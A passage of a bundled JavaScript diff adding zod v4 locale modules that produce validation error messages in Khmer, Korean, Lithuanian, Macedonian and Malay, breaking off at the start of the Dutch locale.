`\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A ${expected} \u1794\u17C9\u17BB\u1793\u17D2\u178F\u17C2\u1791\u1791\u17BD\u179B\u1794\u17B6\u1793 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A ${stringifyPrimitive(issue2.values[0])}`; + return `\u1787\u1798\u17D2\u179A\u17BE\u179F\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1787\u17B6\u1798\u17BD\u1799\u1780\u17D2\u1793\u17BB\u1784\u1785\u17C6\u178E\u17C4\u1798 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u1792\u17C6\u1796\u17C1\u1780\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A ${issue2.origin ?? "\u178F\u1798\u17D2\u179B\u17C3"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "\u1792\u17B6\u178F\u17BB"}`; + return `\u1792\u17C6\u1796\u17C1\u1780\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A ${issue2.origin ?? "\u178F\u1798\u17D2\u179B\u17C3"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u178F\u17BC\u1785\u1796\u17C1\u1780\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u178F\u17BC\u1785\u1796\u17C1\u1780\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1785\u17B6\u1794\u17CB\u1795\u17D2\u178F\u17BE\u1798\u178A\u17C4\u1799 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1794\u1789\u17D2\u1785\u1794\u17CB\u178A\u17C4\u1799 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1798\u17B6\u1793 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u178F\u17C2\u1795\u17D2\u1782\u17BC\u1795\u17D2\u1782\u1784\u1793\u17B9\u1784\u1791\u1798\u17D2\u179A\u1784\u17CB\u178A\u17C2\u179B\u1794\u17B6\u1793\u1780\u17C6\u178E\u178F\u17CB ${_issue.pattern}`; + return `\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u179B\u17C1\u1781\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u178F\u17C2\u1787\u17B6\u1796\u17A0\u17BB\u1782\u17BB\u178E\u1793\u17C3 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u179A\u1780\u1783\u17BE\u1789\u179F\u17C4\u1798\u17B7\u1793\u179F\u17D2\u1782\u17B6\u179B\u17CB\u17D6 ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u179F\u17C4\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u1793\u17C5\u1780\u17D2\u1793\u17BB\u1784 ${issue2.origin}`; + case "invalid_union": + return `\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C`; + case "invalid_element": + return `\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u1793\u17C5\u1780\u17D2\u1793\u17BB\u1784 ${issue2.origin}`; + default: + return `\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C`; + } + }; +}; +function km_default() { + return { + localeError: error26() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +function kh_default() { + return km_default(); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js +var error27 = () => { + const Sizable = { + string: { unit: "\uBB38\uC790", verb: "to have" }, + file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, + array: { unit: "\uAC1C", verb: "to have" }, + set: { unit: "\uAC1C", verb: "to have" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\uC785\uB825", + email: "\uC774\uBA54\uC77C \uC8FC\uC18C", + url: "URL", + emoji: "\uC774\uBAA8\uC9C0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \uB0A0\uC9DC\uC2DC\uAC04", + date: "ISO \uB0A0\uC9DC", + time: "ISO \uC2DC\uAC04", + duration: "ISO \uAE30\uAC04", + ipv4: "IPv4 \uC8FC\uC18C", + ipv6: "IPv6 \uC8FC\uC18C", + cidrv4: "IPv4 \uBC94\uC704", + cidrv6: "IPv6 \uBC94\uC704", + base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", + base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", + json_string: "JSON \uBB38\uC790\uC5F4", + e164: "E.164 \uBC88\uD638", + jwt: "JWT", + template_literal: "\uC785\uB825" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\uC798\uBABB\uB41C \uC785\uB825: \uC608\uC0C1 \uD0C0\uC785\uC740 instanceof ${issue2.expected}, \uBC1B\uC740 \uD0C0\uC785\uC740 ${received}\uC785\uB2C8\uB2E4`; + } + return `\uC798\uBABB\uB41C \uC785\uB825: \uC608\uC0C1 \uD0C0\uC785\uC740 ${expected}, \uBC1B\uC740 \uD0C0\uC785\uC740 ${received}\uC785\uB2C8\uB2E4`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\uC798\uBABB\uB41C \uC785\uB825: \uAC12\uC740 ${stringifyPrimitive(issue2.values[0])} \uC774\uC5B4\uC57C \uD569\uB2C8\uB2E4`; + return `\uC798\uBABB\uB41C \uC635\uC158: ${joinValues(issue2.values, "\uB610\uB294 ")} \uC911 \uD558\uB098\uC5EC\uC57C \uD569\uB2C8\uB2E4`; + case "too_big": { + const adj = issue2.inclusive ? "\uC774\uD558" : "\uBBF8\uB9CC"; + const suffix = adj === "\uBBF8\uB9CC" ? "\uC774\uC5B4\uC57C \uD569\uB2C8\uB2E4" : "\uC5EC\uC57C \uD569\uB2C8\uB2E4"; + const sizing = getSizing(issue2.origin); + const unit = sizing?.unit ?? "\uC694\uC18C"; + if (sizing) + return `${issue2.origin ?? "\uAC12"}\uC774 \uB108\uBB34 \uD07D\uB2C8\uB2E4: ${issue2.maximum.toString()}${unit} ${adj}${suffix}`; + return `${issue2.origin ?? "\uAC12"}\uC774 \uB108\uBB34 \uD07D\uB2C8\uB2E4: ${issue2.maximum.toString()} ${adj}${suffix}`; + } + case "too_small": { + const adj = issue2.inclusive ? "\uC774\uC0C1" : "\uCD08\uACFC"; + const suffix = adj === "\uC774\uC0C1" ? "\uC774\uC5B4\uC57C \uD569\uB2C8\uB2E4" : "\uC5EC\uC57C \uD569\uB2C8\uB2E4"; + const sizing = getSizing(issue2.origin); + const unit = sizing?.unit ?? "\uC694\uC18C"; + if (sizing) { + return `${issue2.origin ?? "\uAC12"}\uC774 \uB108\uBB34 \uC791\uC2B5\uB2C8\uB2E4: ${issue2.minimum.toString()}${unit} ${adj}${suffix}`; + } + return `${issue2.origin ?? "\uAC12"}\uC774 \uB108\uBB34 \uC791\uC2B5\uB2C8\uB2E4: ${issue2.minimum.toString()} ${adj}${suffix}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\uC798\uBABB\uB41C \uBB38\uC790\uC5F4: "${_issue.prefix}"(\uC73C)\uB85C \uC2DC\uC791\uD574\uC57C \uD569\uB2C8\uB2E4`; + } + if (_issue.format === "ends_with") + return `\uC798\uBABB\uB41C \uBB38\uC790\uC5F4: "${_issue.suffix}"(\uC73C)\uB85C \uB05D\uB098\uC57C \uD569\uB2C8\uB2E4`; + if (_issue.format === "includes") + return `\uC798\uBABB\uB41C \uBB38\uC790\uC5F4: "${_issue.includes}"\uC744(\uB97C) \uD3EC\uD568\uD574\uC57C \uD569\uB2C8\uB2E4`; + if (_issue.format === "regex") + return `\uC798\uBABB\uB41C \uBB38\uC790\uC5F4: \uC815\uADDC\uC2DD ${_issue.pattern} \uD328\uD134\uACFC \uC77C\uCE58\uD574\uC57C \uD569\uB2C8\uB2E4`; + return `\uC798\uBABB\uB41C ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\uC798\uBABB\uB41C \uC22B\uC790: ${issue2.divisor}\uC758 \uBC30\uC218\uC5EC\uC57C \uD569\uB2C8\uB2E4`; + case "unrecognized_keys": + return `\uC778\uC2DD\uD560 \uC218 \uC5C6\uB294 \uD0A4: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\uC798\uBABB\uB41C \uD0A4: ${issue2.origin}`; + case "invalid_union": + return `\uC798\uBABB\uB41C \uC785\uB825`; + case "invalid_element": + return `\uC798\uBABB\uB41C \uAC12: ${issue2.origin}`; + default: + return `\uC798\uBABB\uB41C \uC785\uB825`; + } + }; +}; +function ko_default() { + return { + localeError: error27() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +var capitalizeFirstCharacter = (text2) => { + return text2.charAt(0).toUpperCase() + text2.slice(1); +}; +function getUnitTypeFromNumber(number4) { + const abs = Math.abs(number4); + const last = abs % 10; + const last2 = abs % 100; + if (last2 >= 11 && last2 <= 19 || last === 0) + return "many"; + if (last === 1) + return "one"; + return "few"; +} +var error28 = () => { + const Sizable = { + string: { + unit: { + one: "simbolis", + few: "simboliai", + many: "simboli\u0173" + }, + verb: { + smaller: { + inclusive: "turi b\u016Bti ne ilgesn\u0117 kaip", + notInclusive: "turi b\u016Bti trumpesn\u0117 kaip" + }, + bigger: { + inclusive: "turi b\u016Bti ne trumpesn\u0117 kaip", + notInclusive: "turi b\u016Bti ilgesn\u0117 kaip" + } + } + }, + file: { + unit: { + one: "baitas", + few: "baitai", + many: "bait\u0173" + }, + verb: { + smaller: { + inclusive: "turi b\u016Bti ne didesnis kaip", + notInclusive: "turi b\u016Bti ma\u017Eesnis kaip" + }, + bigger: { + inclusive: "turi b\u016Bti ne ma\u017Eesnis kaip", + notInclusive: "turi b\u016Bti didesnis kaip" + } + } + }, + array: { + unit: { + one: "element\u0105", + few: "elementus", + many: "element\u0173" + }, + verb: { + smaller: { + inclusive: "turi tur\u0117ti ne daugiau kaip", + notInclusive: "turi tur\u0117ti ma\u017Eiau kaip" + }, + bigger: { + inclusive: "turi tur\u0117ti ne ma\u017Eiau kaip", + notInclusive: "turi tur\u0117ti daugiau kaip" + } + } + }, + set: { + unit: { + one: "element\u0105", + few: "elementus", + many: "element\u0173" + }, + verb: { + smaller: { + inclusive: "turi tur\u0117ti ne daugiau kaip", + notInclusive: "turi tur\u0117ti ma\u017Eiau kaip" + }, + bigger: { + inclusive: "turi tur\u0117ti ne ma\u017Eiau kaip", + notInclusive: "turi tur\u0117ti daugiau kaip" + } + } + } + }; + function getSizing(origin, unitType, inclusive, targetShouldBe) { + const result = Sizable[origin] ?? null; + if (result === null) + return result; + return { + unit: result.unit[unitType], + verb: result.verb[targetShouldBe][inclusive ? "inclusive" : "notInclusive"] + }; + } + const FormatDictionary = { + regex: "\u012Fvestis", + email: "el. pa\u0161to adresas", + url: "URL", + emoji: "jaustukas", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO data ir laikas", + date: "ISO data", + time: "ISO laikas", + duration: "ISO trukm\u0117", + ipv4: "IPv4 adresas", + ipv6: "IPv6 adresas", + cidrv4: "IPv4 tinklo prefiksas (CIDR)", + cidrv6: "IPv6 tinklo prefiksas (CIDR)", + base64: "base64 u\u017Ekoduota eilut\u0117", + base64url: "base64url u\u017Ekoduota eilut\u0117", + json_string: "JSON eilut\u0117", + e164: "E.164 numeris", + jwt: "JWT", + template_literal: "\u012Fvestis" + }; + const TypeDictionary = { + nan: "NaN", + number: "skai\u010Dius", + bigint: "sveikasis skai\u010Dius", + string: "eilut\u0117", + boolean: "login\u0117 reik\u0161m\u0117", + undefined: "neapibr\u0117\u017Eta reik\u0161m\u0117", + function: "funkcija", + symbol: "simbolis", + array: "masyvas", + object: "objektas", + null: "nulin\u0117 reik\u0161m\u0117" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Gautas tipas ${received}, o tik\u0117tasi - instanceof ${issue2.expected}`; + } + return `Gautas tipas ${received}, o tik\u0117tasi - ${expected}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Privalo b\u016Bti ${stringifyPrimitive(issue2.values[0])}`; + return `Privalo b\u016Bti vienas i\u0161 ${joinValues(issue2.values, "|")} pasirinkim\u0173`; + case "too_big": { + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + const sizing = getSizing(issue2.origin, getUnitTypeFromNumber(Number(issue2.maximum)), issue2.inclusive ?? false, "smaller"); + if (sizing?.verb) + return `${capitalizeFirstCharacter(origin ?? issue2.origin ?? "reik\u0161m\u0117")} ${sizing.verb} ${issue2.maximum.toString()} ${sizing.unit ?? "element\u0173"}`; + const adj = issue2.inclusive ? "ne didesnis kaip" : "ma\u017Eesnis kaip"; + return `${capitalizeFirstCharacter(origin ?? issue2.origin ?? "reik\u0161m\u0117")} turi b\u016Bti ${adj} ${issue2.maximum.toString()} ${sizing?.unit}`; + } + case "too_small": { + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + const sizing = getSizing(issue2.origin, getUnitTypeFromNumber(Number(issue2.minimum)), issue2.inclusive ?? false, "bigger"); + if (sizing?.verb) + return `${capitalizeFirstCharacter(origin ?? issue2.origin ?? "reik\u0161m\u0117")} ${sizing.verb} ${issue2.minimum.toString()} ${sizing.unit ?? "element\u0173"}`; + const adj = issue2.inclusive ? "ne ma\u017Eesnis kaip" : "didesnis kaip"; + return `${capitalizeFirstCharacter(origin ?? issue2.origin ?? "reik\u0161m\u0117")} turi b\u016Bti ${adj} ${issue2.minimum.toString()} ${sizing?.unit}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Eilut\u0117 privalo prasid\u0117ti "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `Eilut\u0117 privalo pasibaigti "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Eilut\u0117 privalo \u012Ftraukti "${_issue.includes}"`; + if (_issue.format === "regex") + return `Eilut\u0117 privalo atitikti ${_issue.pattern}`; + return `Neteisingas ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Skai\u010Dius privalo b\u016Bti ${issue2.divisor} kartotinis.`; + case "unrecognized_keys": + return `Neatpa\u017Eint${issue2.keys.length > 1 ? "i" : "as"} rakt${issue2.keys.length > 1 ? "ai" : "as"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return "Rastas klaidingas raktas"; + case "invalid_union": + return "Klaidinga \u012Fvestis"; + case "invalid_element": { + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + return `${capitalizeFirstCharacter(origin ?? issue2.origin ?? "reik\u0161m\u0117")} turi klaiding\u0105 \u012Fvest\u012F`; + } + default: + return "Klaidinga \u012Fvestis"; + } + }; +}; +function lt_default() { + return { + localeError: error28() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js +var error29 = () => { + const Sizable = { + string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u043D\u0435\u0441", + email: "\u0430\u0434\u0440\u0435\u0441\u0430 \u043D\u0430 \u0435-\u043F\u043E\u0448\u0442\u0430", + url: "URL", + emoji: "\u0435\u043C\u043E\u045F\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0434\u0430\u0442\u0443\u043C \u0438 \u0432\u0440\u0435\u043C\u0435", + date: "ISO \u0434\u0430\u0442\u0443\u043C", + time: "ISO \u0432\u0440\u0435\u043C\u0435", + duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", + ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", + ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", + cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", + base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", + base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", + json_string: "JSON \u043D\u0438\u0437\u0430", + e164: "E.164 \u0431\u0440\u043E\u0458", + jwt: "JWT", + template_literal: "\u0432\u043D\u0435\u0441" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0431\u0440\u043E\u0458", + array: "\u043D\u0438\u0437\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0413\u0440\u0435\u0448\u0435\u043D \u0432\u043D\u0435\u0441: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 instanceof ${issue2.expected}, \u043F\u0440\u0438\u043C\u0435\u043D\u043E ${received}`; + } + return `\u0413\u0440\u0435\u0448\u0435\u043D \u0432\u043D\u0435\u0441: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 ${expected}, \u043F\u0440\u0438\u043C\u0435\u043D\u043E ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; + return `\u0413\u0440\u0435\u0448\u0430\u043D\u0430 \u043E\u043F\u0446\u0438\u0458\u0430: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 \u0435\u0434\u043D\u0430 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u041F\u0440\u0435\u043C\u043D\u043E\u0433\u0443 \u0433\u043E\u043B\u0435\u043C: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 ${issue2.origin ?? "\u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442\u0430"} \u0434\u0430 \u0438\u043C\u0430 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0438"}`; + return `\u041F\u0440\u0435\u043C\u043D\u043E\u0433\u0443 \u0433\u043E\u043B\u0435\u043C: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 ${issue2.origin ?? "\u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442\u0430"} \u0434\u0430 \u0431\u0438\u0434\u0435 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u041F\u0440\u0435\u043C\u043D\u043E\u0433\u0443 \u043C\u0430\u043B: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 ${issue2.origin} \u0434\u0430 \u0438\u043C\u0430 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u041F\u0440\u0435\u043C\u043D\u043E\u0433\u0443 \u043C\u0430\u043B: \u0441\u0435 \u043E\u0447\u0435\u043A\u0443\u0432\u0430 ${issue2.origin} \u0434\u0430 \u0431\u0438\u0434\u0435 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u041D\u0435\u0432\u0430\u0436\u0435\u0447\u043A\u0430 \u043D\u0438\u0437\u0430: \u043C\u043E\u0440\u0430 \u0434\u0430 \u0437\u0430\u043F\u043E\u0447\u043D\u0443\u0432\u0430 \u0441\u043E "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u041D\u0435\u0432\u0430\u0436\u0435\u0447\u043A\u0430 \u043D\u0438\u0437\u0430: \u043C\u043E\u0440\u0430 \u0434\u0430 \u0437\u0430\u0432\u0440\u0448\u0443\u0432\u0430 \u0441\u043E "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u041D\u0435\u0432\u0430\u0436\u0435\u0447\u043A\u0430 \u043D\u0438\u0437\u0430: \u043C\u043E\u0440\u0430 \u0434\u0430 \u0432\u043A\u043B\u0443\u0447\u0443\u0432\u0430 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u041D\u0435\u0432\u0430\u0436\u0435\u0447\u043A\u0430 \u043D\u0438\u0437\u0430: \u043C\u043E\u0440\u0430 \u0434\u0430 \u043E\u0434\u0433\u043E\u0430\u0440\u0430 \u043D\u0430 \u043F\u0430\u0442\u0435\u0440\u043D\u043E\u0442 ${_issue.pattern}`; + return `Invalid ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0413\u0440\u0435\u0448\u0435\u043D \u0431\u0440\u043E\u0458: \u043C\u043E\u0440\u0430 \u0434\u0430 \u0431\u0438\u0434\u0435 \u0434\u0435\u043B\u0438\u0432 \u0441\u043E ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "\u041D\u0435\u043F\u0440\u0435\u043F\u043E\u0437\u043D\u0430\u0435\u043D\u0438 \u043A\u043B\u0443\u0447\u0435\u0432\u0438" : "\u041D\u0435\u043F\u0440\u0435\u043F\u043E\u0437\u043D\u0430\u0435\u043D \u043A\u043B\u0443\u0447"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0413\u0440\u0435\u0448\u0435\u043D \u043A\u043B\u0443\u0447 \u0432\u043E ${issue2.origin}`; + case "invalid_union": + return "\u0413\u0440\u0435\u0448\u0435\u043D \u0432\u043D\u0435\u0441"; + case "invalid_element": + return `\u0413\u0440\u0435\u0448\u043D\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442 \u0432\u043E ${issue2.origin}`; + default: + return `\u0413\u0440\u0435\u0448\u0435\u043D \u0432\u043D\u0435\u0441`; + } + }; +}; +function mk_default() { + return { + localeError: error29() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js +var error30 = () => { + const Sizable = { + string: { unit: "aksara", verb: "mempunyai" }, + file: { unit: "bait", verb: "mempunyai" }, + array: { unit: "elemen", verb: "mempunyai" }, + set: { unit: "elemen", verb: "mempunyai" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "alamat e-mel", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "tarikh masa ISO", + date: "tarikh ISO", + time: "masa ISO", + duration: "tempoh ISO", + ipv4: "alamat IPv4", + ipv6: "alamat IPv6", + cidrv4: "julat IPv4", + cidrv6: "julat IPv6", + base64: "string dikodkan base64", + base64url: "string dikodkan base64url", + json_string: "string JSON", + e164: "nombor E.164", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "nombor" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Input tidak sah: dijangka instanceof ${issue2.expected}, diterima ${received}`; + } + return `Input tidak sah: dijangka ${expected}, diterima ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Input tidak sah: dijangka ${stringifyPrimitive(issue2.values[0])}`; + return `Pilihan tidak sah: dijangka salah satu daripada ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Terlalu besar: dijangka ${issue2.origin ?? "nilai"} ${sizing.verb} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elemen"}`; + return `Terlalu besar: dijangka ${issue2.origin ?? "nilai"} adalah ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Terlalu kecil: dijangka ${issue2.origin} ${sizing.verb} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Terlalu kecil: dijangka ${issue2.origin} adalah ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `String tidak sah: mesti bermula dengan "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `String tidak sah: mesti berakhir dengan "${_issue.suffix}"`; + if (_issue.format === "includes") + return `String tidak sah: mesti mengandungi "${_issue.includes}"`; + if (_issue.format === "regex") + return `String tidak sah: mesti sepadan dengan corak ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} tidak sah`; + } + case "not_multiple_of": + return `Nombor tidak sah: perlu gandaan ${issue2.divisor}`; + case "unrecognized_keys": + return `Kunci tidak dikenali: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Kunci tidak sah dalam ${issue2.origin}`; + case "invalid_union": + return "Input tidak sah"; + case "invalid_element": + return `Nilai tidak sah dalam ${issue2.origin}`; + default: + return `Input tidak sah`; + } + }; +}; +function ms_default() { + return { + localeError: error30() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js +var error31 = () => { + const Sizable = { + string: { unit: "tekens", verb: "heeft" }, + file: { unit: "bytes", verb: "heeft" }, + array: { unit: "elementen", verb: 